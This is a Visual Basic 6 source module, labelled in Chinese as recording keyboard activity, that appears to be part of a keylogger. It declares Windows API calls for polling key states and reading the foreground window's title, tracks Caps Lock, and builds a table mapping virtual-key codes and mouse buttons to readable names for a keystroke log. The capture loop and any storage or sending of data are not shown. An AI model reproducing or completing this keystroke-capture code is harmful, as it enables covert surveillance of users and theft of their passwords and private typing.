module1.bas

捕获键盘操作的记录

Attribute VB_Name = "Module1"
Option Explicit
Public vbkeynum(1 To 62) As Integer
Public vbkeyname(1 To 62) As String
Public vbkeyname2(52 To 62) As String
Public Const VbKeyNumStr = ")!@#$%^&*("
Public KeyNumStr(9) As String * 1
Const VK_CAPITAL = &H14
Const GWL_WNDPROC = -4
Dim lpPrevWndProc As Long
 ' 申明API
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Declare Function CallWindowProc Lib "user32" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hWnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Declare Function GetAsyncKeyState Lib "user32" (ByVal VKEY As Long) As Integer
Declare Function GetForegroundWindow Lib "user32.dll" () As Long
Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hWnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hWnd As Long) As Long
Declare Function GetWindow Lib "user32" (ByVal hWnd As Long, ByVal wCmd As Long) As Long
Declare Function ShowWindow Lib "user32" (ByVal hWnd As Long, ByVal nCmdShow As Long) As Long

Public Function CapsLockOn() As Boolean
    Static bInit As Boolean
    Static bOn As Boolean
    If Not bInit Then
        While GetAsyncKeyState(VK_CAPITAL)
        Wend
        bOn = GetKeyState(VK_CAPITAL)
        bInit = True
    Else
        If GetAsyncKeyState(VK_CAPITAL) Then
            While GetAsyncKeyState(VK_CAPITAL)
                DoEvents
            Wend
            bOn = Not bOn
        End If
    End If
    CapsLockOn = bOn
End Function

' 取得一个窗体的标题
Public Function GetCaption(WindowHandle As Long) As String
    Dim strBuffer As String, lngTextLength As Long
    lngTextLength = GetWindowTextLength(WindowHandle)
    strBuffer = String(lngTextLength, 0)
    Call GetWindowText(WindowHandle, strBuffer, lngTextLength + 1)
    GetCaption$ = strBuffer
End Function

Function WindowProc(ByVal hw As Long, ByVal uMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
    WindowProc = CallWindowProc(lpPrevWndProc, hw, uMsg, wParam, lParam)
End Function

Public Sub setdata()
    Dim i As Integer
    For i = 0 To 9: KeyNumStr(i) = Mid(VbKeyNumStr, i + 1, 1): Next
    vbkeynum(1) = 1: vbkeyname(1) = "{MouseLeft}" 'Mouseleft
    vbkeynum(2) = 2: vbkeyname(2) = "{MouseRight}" 'MouseRight
    vbkeynum(3) = 8: vbkeyname(3) = "{<-}" ' 退格键
    vbkeynum(4) = 9: vbkeyname(4) = "{Tab}" 'Tab键
    vbkeynum(5) = 13: vbkeyname(5) = "{Enter}" '回车键
    vbkeynum(6) = 16: vbkeyname(6) = "{Shift}" 'Shift键
    vbkeynum(7) = 17: vbkeyname(7) = "{Ctrl}" 'Ctrl键
    vbkeynum(8) = 18: vbkeyname(8) = "{Alt}" 'Alt键
    vbkeynum(9) = 19: vbkeyname(9) = "{Pause}" '暂停键
    vbkeynum(10) = 27: vbkeyname(10) = "{Esc}" '退出键
    vbkeynum(11) = 32: vbkeyname(11) = "{Space}" '空格键
    vbkeynum(12) = 33: vbkeyname(12) = "{PageUp}" '
    vbkeynum(13) = 34: vbkeyname(13) = "{PageDown}" '
    vbkeynum(14) = 35: vbkeyname(14) = "{End}" '
    vbkeynum(15) = 36: vbkeyname(15) = "{Home}" '
    vbkeynum(16) = 37: vbkeyname(16) = "{Left}" '
    vbkeynum(17) = 38: vbkeyname(17) = "{UP}" '
    vbkeynum(18) = 39: vbkeyname(18) = "{Right}" '
    vbkeynum(19) = 40: vbkeyname(19) = "{Down}"
    vbkeynum(20) = 42: vbkeyname(20) = "{PrintScreen}" '
    vbkeynum(21) = 45: vbkeyname(21) = "{Insert}"
    vbkeynum(22) = 46: vbkeyname(22) = "{Delete}"
    For i = 23 To 32 '数字键 盘的数字
        vbkeynum(i) = i + 73
        vbkeyname(i) = Chr(i + 25)
    Next
    vbkeynum(33) = 106: vbkeyname(33) = "*" '
    vbkeynum(34) = 107: vbkeyname(34) = "+" '
    vbkeynum(35) = 109: vbkeyname(35) = "-" '
    vbkeynum(36) = 110: vbkeyname(36) = "{Del}" '
    vbkeynum(37) = 111: vbkeyname(37) = "/" '
    
    For i = 38 To 49 ' F1到F12键
        vbkeynum(i) = i + 74
        vbkeyname(i) = "F" & i - 37
    Next
    
    vbkeynum(50) = 144: vbkeyname(50) = "{NumLock}" '
    vbkeynum(51) = 145: vbkeyname(51) = "{ScrollLock}"
    
    vbkeynum(52) = 186: vbkeyname(52) = ";": vbkeyname2(52) = ":"
    vbkeynum(53) = 187: vbkeyname(53) = "=": vbkeyname2(53) = "+"
    vbkeynum(54) = 188: vbkeyname(54) = ",": vbkeyname2(54) = "<"
    vbkeynum(55) = 189: vbkeyname(55) = "-": vbkeyname2(55) = "_"
    vbkeynum(56) = 190: vbkeyname(56) = ".": vbkeyname2(56) = ">"
    vbkeynum(57) = 191: vbkeyname(57) = "/": vbkeyname2(57) = "?"
    vbkeynum(58) = 192: vbkeyname(58) = "`": vbkeyname2(58) = "~"
    vbkeynum(59) = 219: vbkeyname(59) = "[": vbkeyname2(59) = "{"
    vbkeynum(60) = 220: vbkeyname(60) = "\": vbkeyname2(60) = "|"
    vbkeynum(61) = 221: vbkeyname(61) = "]": vbkeyname2(61) = "}"
    vbkeynum(62) = 222: vbkeyname(62) = Chr$(39): vbkeyname2(62) = Chr$(34) ' 单引号和双引号

End Sub


Public Function if_hav_data(s As String) As Boolean
    Dim i As Integer, s1 As String
    s1 = s
    For i = 0 To Len(s)
        If Left(s, 2) = "]" & Chr(13) Then
            s1 = Right(s, Len(s) - 2)
            If s1 <> "" Then
                if_hav_data = True
                Exit Function
            End If
        End If
        
    If s <> "" Then s = Right(s, Len(s) - 1)
    Next
    if_hav_data = False
End Function